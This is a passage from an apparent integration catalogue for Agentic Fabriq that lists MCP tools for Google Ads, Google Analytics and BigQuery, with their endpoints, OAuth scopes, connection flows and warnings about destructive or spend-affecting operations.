include_in_conversions_metric OFF silently changes what every automated bidding strategy in the account is optimizing for. Only the fields you supply are changed. POST /api/v1/tools/google_ads/update_conversion_action. Scopes: conversions:write. google_ads_update_conversion_custom_variable (write) — Change a custom variable's name or status. Its TAG is immutable. POST /api/v1/tools/google_ads/update_conversion_custom_variable. Scopes: conversions:write. google_ads_update_customer (write) — Change this account's own settings: its descriptive name, whether auto-tagging (the gclid parameter Google appends to landing-page URLs) is on, its account-wide tracking template and its final-URL suffix. Read google_ads_get_customer first and write the previous value back to undo. Cannot change who has access and cannot spend money. Turning auto_tagging_enabled OFF breaks conversion import for every campaign in the account. POST /api/v1/tools/google_ads/update_customer. Scopes: account:write. google_ads_update_experiment (write) — Change an experiment's name, description or schedule. Only the fields you supply are changed. POST /api/v1/tools/google_ads/update_experiment. Scopes: experiments:write. google_ads_update_keyword (write) — Change one keyword's bid or landing page. Does not change status — that is google_ads_enable_keyword / google_ads_pause_keyword. A keyword's TEXT and MATCH TYPE are immutable in Google Ads: to change either, remove it and add a new one. POST /api/v1/tools/google_ads/update_keyword. Scopes: keywords:write. google_ads_update_user_list (write) — Change a remarketing list's name, description, membership duration or open/closed status. Shortening membership_life_span_days DROPS existing members who joined longer ago than the new value. POST /api/v1/tools/google_ads/update_user_list. Scopes: audiences:write. google_ads_upload_call_conversions (write) — Report conversions from phone calls, matched on the caller's number and the time of the call. Feeds automated bidding the same way google_ads_upload_click_conversions does. NOTE this one DOES carry a phone number, which is personal data about the advertiser's own caller; send only numbers the advertiser is entitled to process. POST /api/v1/tools/google_ads/upload_call_conversions. Scopes: conversions:upload. google_ads_upload_click_conversions (write) — Report conversions that happened outside Google — a CRM sale, a closed deal — back against the click that caused them, identified by the gclid Google appended to the landing-page URL. This feeds automated bidding, so a wrong upload moves spend. Carries no personal identifier: the gclid is an opaque token the advertiser already holds. Set validate_only true first — Google reports every rejected row individually and the reasons are specific. POST /api/v1/tools/google_ads/upload_click_conversions. Scopes: conversions:upload. google_ads_upload_conversion_adjustments (write) — Restate the value of a conversion already reported, or RETRACT it entirely. This is the inverse of google_ads_upload_click_conversions and it is why that operation is shippable: an over-reported conversion that would otherwise train bidding on a lie can be taken back. POST /api/v1/tools/google_ads/upload_conversion_adjustments. Scopes: conversions:upload. ================================================================================ ## Google Analytics URL: https://www.agenticfabriq.com/integrations/googleanalytics Section: Integrated Tools Google Analytics — 21 MCP tools Provider key: googleanalytics. Scopes: https://www.googleapis.com/auth/analytics, https://www.googleapis.com/auth/analytics.chatbot.read, https://www.googleapis.com/auth/analytics.readonly. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. googleanalytics_get_v1alpha_by_name (read) — Fetch a v1alpha resource by its full resource name: an audience list (properties/{property}/audienceLists/{id}), a recurring audience list (.../recurringAudienceLists/{id}) or a report task (.../reportTasks/{id}) via GET /v1alpha/{+name} GET /api/v1/googleanalytics/v1alpha/{name}. Scopes: https://www.googleapis.com/auth/analytics.readonly. googleanalytics_get_v1alpha_by_parent_audiencelists (read) — List a property's v1alpha audience lists (cursor pagination via pageToken/pageSize) via GET /v1alpha/{+parent}/audienceLists GET /api/v1/googleanalytics/v1alpha/{parent}/audienceLists. Scopes: https://www.googleapis.com/auth/analytics.readonly. googleanalytics_get_v1alpha_by_parent_recurringaudiencelists (read) — List a property's recurring audience lists -- configurations that produce a fresh audience list daily via GET /v1alpha/{+parent}/recurringAudienceLists GET /api/v1/googleanalytics/v1alpha/{parent}/recurringAudienceLists. Scopes: https://www.googleapis.com/auth/analytics.readonly. googleanalytics_get_v1alpha_by_parent_reporttasks (read) — List a property's report tasks (cursor pagination via pageToken/pageSize) via GET /v1alpha/{+parent}/reportTasks GET /api/v1/googleanalytics/v1alpha/{parent}/reportTasks. Scopes: https://www.googleapis.com/auth/analytics.readonly. googleanalytics_get_v1beta_by_name (read) — Fetch a v1beta resource by its full resource name: an audience export's configuration and state (properties/{property}/audienceExports/{id}) or a property's report metadata -- its available dimensions and metrics (properties/{property}/metadata) via GET /v1beta/{+name} GET /api/v1/googleanalytics/v1beta/{name}. Scopes: https://www.googleapis.com/auth/analytics.readonly. googleanalytics_get_v1beta_by_parent_audienceexports (read) — List a property's audience exports, newest first (cursor pagination via pageToken/pageSize) via GET /v1beta/{+parent}/audienceExports GET /api/v1/googleanalytics/v1beta/{parent}/audienceExports. Scopes: https://www.googleapis.com/auth/analytics.readonly. googleanalytics_post_v1alpha_by_name_query (write) — Read the users out of a finished v1alpha audience list by its full resource name (properties/{property}/audienceLists/{id}) via POST /v1alpha/{+name}:query POST /api/v1/googleanalytics/v1alpha/{name}:query. Scopes: https://www.googleapis.com/auth/analytics. googleanalytics_post_v1alpha_by_parent_audiencelists (write) — Create an audience list -- the v1alpha form of an audience export snapshot; poll it with the get tool and read rows with the query tool once it is ready via POST /v1alpha/{+parent}/audienceLists POST /api/v1/googleanalytics/v1alpha/{parent}/audienceLists. Scopes: https://www.googleapis.com/auth/analytics. googleanalytics_post_v1alpha_by_parent_recurringaudiencelists (write) — Create a recurring audience list, which produces a new audience list for the audience each day via POST /v1alpha/{+parent}/recurringAudienceLists POST /api/v1/googleanalytics/v1alpha/{parent}/recurringAudienceLists. Scopes: https://www.googleapis.com/auth/analytics. googleanalytics_post_v1alpha_by_parent_reporttasks (write) — Create a report task -- an asynchronous report run; fetch the task by name once its state is ACTIVE to read the report via POST /v1alpha/{+parent}/reportTasks POST /api/v1/googleanalytics/v1alpha/{parent}/reportTasks. Scopes: https://www.googleapis.com/auth/analytics.readonly. googleanalytics_post_v1alpha_by_property_chat (write) — Ask a natural-language question about a property's analytics data (Google's alpha chat endpoint) via POST /v1alpha/{+property}:chat POST /api/v1/googleanalytics/v1alpha/{property}:chat. Scopes: https://www.googleapis.com/auth/analytics.chatbot.read. googleanalytics_post_v1alpha_by_property_runfunnelreport (write) — Run a GA4 funnel report, showing user drop-off across a sequence of steps via POST /v1alpha/{+property}:runFunnelReport POST /api/v1/googleanalytics/v1alpha/{property}:runFunnelReport. Scopes: https://www.googleapis.com/auth/analytics.readonly. googleanalytics_post_v1alpha_by_property_runreport (write) — Run a customized GA4 report through the v1alpha surface (same shape as the v1beta runReport) via POST /v1alpha/{+property}:runReport POST /api/v1/googleanalytics/v1alpha/{property}:runReport. Scopes: https://www.googleapis.com/auth/analytics.readonly. googleanalytics_post_v1beta_by_name_query (write) — Read the exported users out of a finished audience export by its full resource name (properties/{property}/audienceExports/{id}) via POST /v1beta/{+name}:query POST /api/v1/googleanalytics/v1beta/{name}:query. Scopes: https://www.googleapis.com/auth/analytics. googleanalytics_post_v1beta_by_parent_audienceexports (write) — Create an audience export -- an asynchronous snapshot of the users in a GA4 audience; poll it with the get tool and read rows with the query tool once it is ready via POST /v1beta/{+parent}/audienceExports POST /api/v1/googleanalytics/v1beta/{parent}/audienceExports. Scopes: https://www.googleapis.com/auth/analytics. googleanalytics_post_v1beta_by_property_batchrunpivotreports (write) — Run up to five GA4 pivot reports for the same property in one batch call via POST /v1beta/{+property}:batchRunPivotReports POST /api/v1/googleanalytics/v1beta/{property}:batchRunPivotReports. Scopes: https://www.googleapis.com/auth/analytics.readonly. googleanalytics_post_v1beta_by_property_batchrunreports (write) — Run up to five GA4 reports for the same property in one batch call via POST /v1beta/{+property}:batchRunReports POST /api/v1/googleanalytics/v1beta/{property}:batchRunReports. Scopes: https://www.googleapis.com/auth/analytics.readonly. googleanalytics_post_v1beta_by_property_checkcompatibility (write) — Check which dimensions and metrics can be added to a report request without breaking its compatibility rules via POST /v1beta/{+property}:checkCompatibility POST /api/v1/googleanalytics/v1beta/{property}:checkCompatibility. Scopes: https://www.googleapis.com/auth/analytics.readonly. googleanalytics_post_v1beta_by_property_runpivotreport (write) — Run a GA4 pivot report, whose pivots describe visual layout beyond what a plain report expresses via POST /v1beta/{+property}:runPivotReport POST /api/v1/googleanalytics/v1beta/{property}:runPivotReport. Scopes: https://www.googleapis.com/auth/analytics.readonly. googleanalytics_post_v1beta_by_property_runrealtimereport (write) — Run a realtime GA4 report over event data from the last 30 minutes (up to 60 with Analytics 360) via POST /v1beta/{+property}:runRealtimeReport POST /api/v1/googleanalytics/v1beta/{property}:runRealtimeReport. Scopes: https://www.googleapis.com/auth/analytics.readonly. googleanalytics_post_v1beta_by_property_runreport (write) — Run a customized GA4 report: pick dimensions, metrics, date ranges and filters in the request body and get back an aggregated row set for one property via POST /v1beta/{+property}:runReport POST /api/v1/googleanalytics/v1beta/{property}:runReport. Scopes: https://www.googleapis.com/auth/analytics.readonly. ================================================================================ ## Google BigQuery URL: https://www.agenticfabriq.com/integrations/bigquery Section: Integrated Tools Google BigQuery — 169 MCP tools Provider key: bigquery. Scopes: https://www.googleapis.com/auth/bigquery, https://www.googleapis.com/auth/bigquery.insertdata, https://www.googleapis.com/auth/cloud-platform, https://www.googleapis.com/auth/cloud-platform.read-only. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. bigquery_analyticshub_organizations_locations_data_exchanges_list (read) — Lists all data exchanges from projects in a given organization and location. GET /api/v1/tools/bigquery/analyticshub-organizations-locations-data-exchanges-list. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_create (write) — Creates a new data exchange. POST /v1/{+parent}/dataExchanges on Google BigQuery. Requires parent. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-create. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_delete (write, destructive) — DESTRUCTIVE - Deletes an existing data exchange. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_get (read) — Gets the details of a data exchange. GET /v1/{+name} on Google BigQuery. Requires name. GET /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-get. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_get_iam_policy (write) — Gets the IAM policy. POST /v1/{+resource}:getIamPolicy on Google BigQuery. Requires resource. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-get-iam-policy. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_list (read) — Lists all data exchanges in a given project and location. GET /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-list. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_list_subscriptions (read) — Lists all subscriptions on a given Data Exchange or Listing. GET /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-list-subscriptions. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_listings_create (write) — Creates a new listing. POST /v1/{+parent}/listings on Google BigQuery. Requires parent. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-listings-create. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_listings_delete (write, destructive) — DESTRUCTIVE — Deletes a listing. DELETE /v1/{+name} on Google BigQuery. Requires name. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-listings-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_listings_get (read) — Gets the details of a listing. GET /v1/{+name} on Google BigQuery. Requires name. GET /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-listings-get. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_listings_get_iam_policy (write) — Gets the IAM policy. POST /v1/{+resource}:getIamPolicy on Google BigQuery. Requires resource. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-listings-get-iam-policy. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_listings_list (read) — Lists all listings in a given project and location. GET /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-listings-list. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_listings_list_subscriptions (read) — Lists all subscriptions on a given Data Exchange or Listing. GET /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-listings-list-subscriptions. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_listings_patch (write) — Updates an existing listing. PATCH /v1/{+name} on Google BigQuery. Requires name. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-listings-patch. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_listings_set_iam_policy (write) — Sets the IAM policy. POST /v1/{+resource}:setIamPolicy on Google BigQuery. Requires resource. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-listings-set-iam-policy. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_listings_subscribe (write) — Subscribes to a listing. Currently, with Analytics Hub, you can create listings that reference only BigQuery datasets. Upon subscription to a listing for a BigQuery dataset, Analytics Hub creates a linked dataset in the subscriber's project. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-listings-subscribe. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_listings_test_iam_permissions (write) — Returns the permissions that a caller has. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-listings-test-iam-permissions. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_patch (write) — Updates an existing data exchange. PATCH /v1/{+name} on Google BigQuery. Requires name. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-patch. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_query_templates_approve (write) — Approves a query template. POST /v1/{+name}:approve on Google BigQuery. Requires name. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-query-templates-approve. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_query_templates_create (write) — Creates a new QueryTemplate. POST /v1/{+parent}/queryTemplates on Google BigQuery. Requires parent. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-query-templates-create. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_query_templates_delete (write, destructive) — DESTRUCTIVE — Deletes a query template. DELETE /v1/{+name} on Google BigQuery. Requires name. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-query-templates-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_query_templates_get (read) — Gets a QueryTemplate. GET /v1/{+name} on Google BigQuery. Requires name. GET /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-query-templates-get. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_query_templates_list (read) — Lists all QueryTemplates in a given project and location. GET /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-query-templates-list. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_query_templates_patch (write) — Updates an existing QueryTemplate. PATCH /v1/{+name} on Google BigQuery. Requires name. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-query-templates-patch. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_query_templates_submit (write) — Submits a query template for approval. POST /v1/{+name}:submit on Google BigQuery. Requires name. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-query-templates-submit. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_set_iam_policy (write) — Sets the IAM policy. POST /v1/{+resource}:setIamPolicy on Google BigQuery. Requires resource. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-set-iam-policy. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_subscribe (write) — Creates a Subscription to a Data Clean Room. This is a long-running operation as it will create one or more linked datasets. Throws a Bad Request error if the Data Exchange does not contain any listings. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-subscribe. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_data_exchanges_test_iam_permissions (write) — Returns the permissions that a caller has. POST /api/v1/tools/bigquery/analyticshub-projects-locations-data-exchanges-test-iam-permissions. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_subscriptions_delete (write, destructive) — DESTRUCTIVE — Deletes a subscription. DELETE /v1/{+name} on Google BigQuery. Requires name. POST /api/v1/tools/bigquery/analyticshub-projects-locations-subscriptions-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_subscriptions_get (read) — Gets the details of a Subscription. GET /v1/{+name} on Google BigQuery. Requires name. GET /api/v1/tools/bigquery/analyticshub-projects-locations-subscriptions-get. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_subscriptions_get_iam_policy (write) — Gets the IAM policy. POST /v1/{+resource}:getIamPolicy on Google BigQuery. Requires resource. POST /api/v1/tools/bigquery/analyticshub-projects-locations-subscriptions-get-iam-policy. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_subscriptions_list (read) — Lists all subscriptions in a given project and location. GET /api/v1/tools/bigquery/analyticshub-projects-locations-subscriptions-list. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_subscriptions_refresh (write) — Refreshes a Subscription to a Data Exchange. A Data Exchange can become stale when a publisher adds or removes data. This is a long-running operation as it may create many linked datasets. POST /api/v1/tools/bigquery/analyticshub-projects-locations-subscriptions-refresh. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_subscriptions_revoke (write, destructive) — DESTRUCTIVE - Revokes a given subscription. POST /api/v1/tools/bigquery/analyticshub-projects-locations-subscriptions-revoke. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_analyticshub_projects_locations_subscriptions_set_iam_policy (write) — Sets the IAM policy. POST /v1/{+resource}:setIamPolicy on Google BigQuery. Requires resource. POST /api/v1/tools/bigquery/analyticshub-projects-locations-subscriptions-set-iam-policy. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_connection_projects_locations_connections_create (write) — Creates a new connection. POST /v1/{+parent}/connections on Google BigQuery. Requires parent. POST /api/v1/tools/bigquery/connection-projects-locations-connections-create. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_connection_projects_locations_connections_delete (write, destructive) — DESTRUCTIVE - Deletes connection and associated credential. POST /api/v1/tools/bigquery/connection-projects-locations-connections-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_connection_projects_locations_connections_get (read) — Returns specified connection. GET /v1/{+name} on Google BigQuery. Requires name. GET /api/v1/tools/bigquery/connection-projects-locations-connections-get. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_connection_projects_locations_connections_get_iam_policy (write) — Gets the access control policy for a resource. Returns an empty policy if the resource exists and does not have a policy set. POST /api/v1/tools/bigquery/connection-projects-locations-connections-get-iam-policy. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_connection_projects_locations_connections_list (read) — Returns a list of connections in the given project. GET /api/v1/tools/bigquery/connection-projects-locations-connections-list. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_connection_projects_locations_connections_patch (write) — Updates the specified connection. For security reasons, also resets credential if connection properties are in the update field mask. POST /api/v1/tools/bigquery/connection-projects-locations-connections-patch. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_connection_projects_locations_connections_set_iam_policy (write) — Sets the access control policy on the specified resource. Replaces any existing policy. Can return `NOT_FOUND`, `INVALID_ARGUMENT`, and `PERMISSION_DENIED` errors. POST /api/v1/tools/bigquery/connection-projects-locations-connections-set-iam-policy. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_connection_projects_locations_connections_test_iam_permissions (write) — Returns permissions that a caller has on the specified resource. If the resource does not exist, this will return an empty set of permissions, not a `NOT_FOUND` error. Note: This operation is designed to be used for building permission-aware UIs and... POST /api/v1/tools/bigquery/connection-projects-locations-connections-test-iam-permissions. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datapolicy_projects_locations_data_policies_create (write) — Creates a new data policy under a project with the given `dataPolicyId` (used as the display name), policy tag, and data policy type. POST /api/v1/tools/bigquery/datapolicy-projects-locations-data-policies-create. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datapolicy_projects_locations_data_policies_delete (write, destructive) — DESTRUCTIVE - Deletes the data policy specified by its resource name. POST /api/v1/tools/bigquery/datapolicy-projects-locations-data-policies-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datapolicy_projects_locations_data_policies_get (read) — Gets the data policy specified by its resource name. GET /api/v1/tools/bigquery/datapolicy-projects-locations-data-policies-get. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datapolicy_projects_locations_data_policies_get_iam_policy (write) — Gets the IAM policy for the specified data policy. POST /api/v1/tools/bigquery/datapolicy-projects-locations-data-policies-get-iam-policy. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datapolicy_projects_locations_data_policies_list (read) — List all of the data policies in the specified parent project. GET /api/v1/tools/bigquery/datapolicy-projects-locations-data-policies-list. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datapolicy_projects_locations_data_policies_patch (write) — Updates the metadata for an existing data policy. The target data policy can be specified by the resource name. POST /api/v1/tools/bigquery/datapolicy-projects-locations-data-policies-patch. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datapolicy_projects_locations_data_policies_rename (write) — Renames the id (display name) of the specified data policy. POST /api/v1/tools/bigquery/datapolicy-projects-locations-data-policies-rename. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datapolicy_projects_locations_data_policies_set_iam_policy (write) — Sets the IAM policy for the specified data policy. POST /api/v1/tools/bigquery/datapolicy-projects-locations-data-policies-set-iam-policy. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datapolicy_projects_locations_data_policies_test_iam_permissions (write) — Returns the caller's permission on the specified data policy resource. POST /api/v1/tools/bigquery/datapolicy-projects-locations-data-policies-test-iam-permissions. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datasets_delete (write, destructive) — DESTRUCTIVE - Deletes the dataset specified by the datasetId value. Before you can delete a dataset, you must delete all its tables, either manually or by specifying deleteContents. Immediately after deletion, you can create another dataset with the same name. # IAM... POST /api/v1/tools/bigquery/datasets-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datasets_get (read) — Returns the dataset specified by datasetID. # IAM Permissions Requires the `bigquery.datasets.get` permission on the dataset. GET /api/v1/tools/bigquery/datasets-get. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datasets_insert (write) — Creates a new empty dataset. # IAM Permissions Requires the `bigquery.datasets.create` permission on the project. POST /api/v1/tools/bigquery/datasets-insert. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datasets_list (read) — Lists all datasets in the specified project to which the user has been granted the READER dataset role. # IAM Permissions Requires no specific IAM permission(s) to use this method. Results are filtered to only include datasets on which the caller has the... GET /api/v1/tools/bigquery/datasets-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datasets_patch (write) — Updates information in an existing dataset. The update method replaces the entire dataset resource, whereas the patch method only replaces fields that are provided in the submitted dataset resource. This method supports RFC5789 patch semantics. # IAM... POST /api/v1/tools/bigquery/datasets-patch. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datasets_undelete (write) — Undeletes a dataset which is within time travel window based on datasetId. If a time is specified, the dataset version deleted at that time is undeleted, else the last live version is undeleted. # IAM Permissions Requires the following IAM permission(s) to... POST /api/v1/tools/bigquery/datasets-undelete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datasets_update (write) — Updates information in an existing dataset. The update method replaces the entire dataset resource, whereas the patch method only replaces fields that are provided in the submitted dataset resource. # IAM Permissions Requires the `bigquery.datasets.update`... POST /api/v1/tools/bigquery/datasets-update. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datatransfer_projects_data_sources_check_valid_creds (write) — Returns true if valid credentials exist for the given data source and requesting user. POST /api/v1/tools/bigquery/datatransfer-projects-data-sources-check-valid-creds. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_data_sources_get (read) — Retrieves a supported data source and returns its settings. GET /api/v1/tools/bigquery/datatransfer-projects-data-sources-get. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_data_sources_list (read) — Lists supported data sources and returns their settings. GET /api/v1/tools/bigquery/datatransfer-projects-data-sources-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_enroll_data_sources (write) — Enroll data sources in a user project. This allows users to create transfer configurations for these data sources. They will also appear in the ListDataSources RPC and as such, will appear in the [BigQuery UI](https://console.cloud.google.com/bigquery), and... POST /api/v1/tools/bigquery/datatransfer-projects-enroll-data-sources. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datatransfer_projects_locations_data_sources_check_valid_creds (write) — Returns true if valid credentials exist for the given data source and requesting user. POST /api/v1/tools/bigquery/datatransfer-projects-locations-data-sources-check-valid-creds. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_locations_data_sources_get (read) — Retrieves a supported data source and returns its settings. GET /api/v1/tools/bigquery/datatransfer-projects-locations-data-sources-get. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_locations_data_sources_list (read) — Lists supported data sources and returns their settings. GET /api/v1/tools/bigquery/datatransfer-projects-locations-data-sources-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_locations_enroll_data_sources (write) — Enroll data sources in a user project. This allows users to create transfer configurations for these data sources. They will also appear in the ListDataSources RPC and as such, will appear in the [BigQuery UI](https://console.cloud.google.com/bigquery), and... POST /api/v1/tools/bigquery/datatransfer-projects-locations-enroll-data-sources. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datatransfer_projects_locations_get (read) — Gets information about a location. GET /v1/{+name} on Google BigQuery. Requires name. GET /api/v1/tools/bigquery/datatransfer-projects-locations-get. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_locations_list (read) — Lists information about the supported locations for this service. This method lists locations based on the resource scope provided in the ListLocationsRequest.name field: * **Global locations**: If `name` is empty, the method lists the public locations... GET /api/v1/tools/bigquery/datatransfer-projects-locations-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_locations_transfer_configs_create (write) — Creates a new data transfer configuration. Requires credentials of its own for data sources that read a third party on the user's behalf (scheduled_query, google_ads, youtube_channel, drive and similar): pass service_account_name (an email, for unattended runs) or version_info (a short-lived consent code from the Data Transfer Service's own OAuth screen). Google marks both optional because a BigQuery-to-BigQuery transfer needs neither; for the sources above the create is refused without one. POST /api/v1/tools/bigquery/datatransfer-projects-locations-transfer-configs-create. Scopes: https://www.googleapis.com/auth/cloud-platform. bigquery_datatransfer_projects_locations_transfer_configs_delete (write, destructive) — DESTRUCTIVE - Deletes a data transfer configuration, including any associated transfer runs and logs. POST /api/v1/tools/bigquery/datatransfer-projects-locations-transfer-configs-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datatransfer_projects_locations_transfer_configs_get (read) — Returns information about a data transfer config. GET /api/v1/tools/bigquery/datatransfer-projects-locations-transfer-configs-get. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_locations_transfer_configs_list (read) — Returns information about all transfer configs owned by a project in the specified location. GET /api/v1/tools/bigquery/datatransfer-projects-locations-transfer-configs-list. Scopes: https://www.googleapis.com/auth/cloud-platform.read-only. bigquery_datatransfer_projects_locations_transfer_configs_patch (write) — Updates a data transfer configuration. All fields must be set, even if they are not updated. Requires credentials of its own for data sources that read a third party on the user's behalf (scheduled_query, google_ads, youtube_channel, drive and similar): pass service_account_name (an email, for unattended runs) or version_info (a short-lived consent code from the Data Transfer Service's own OAuth screen). Google marks both optional because a BigQuery-to-BigQuery transfer needs neither; for the sources above the create is refused without one. POST /api/v1/tools/bigquery/datatransfer-projects-locations-transfer-configs-patch. Scopes: https://www.googleapis.com/auth/cloud-platform. bigquery_datatransfer_projects_locations_transfer_configs_runs_delete (write, destructive) — DESTRUCTIVE - Deletes the specified transfer run. POST /api/v1/tools/bigquery/datatransfer-projects-locations-transfer-configs-runs-delete. Scopes: https://www.googleapis.com/auth/bigquery. bigquery_datatransfer_projects_locations_transfer_configs_runs_get (read) — Returns information about the particular transfer run. GET 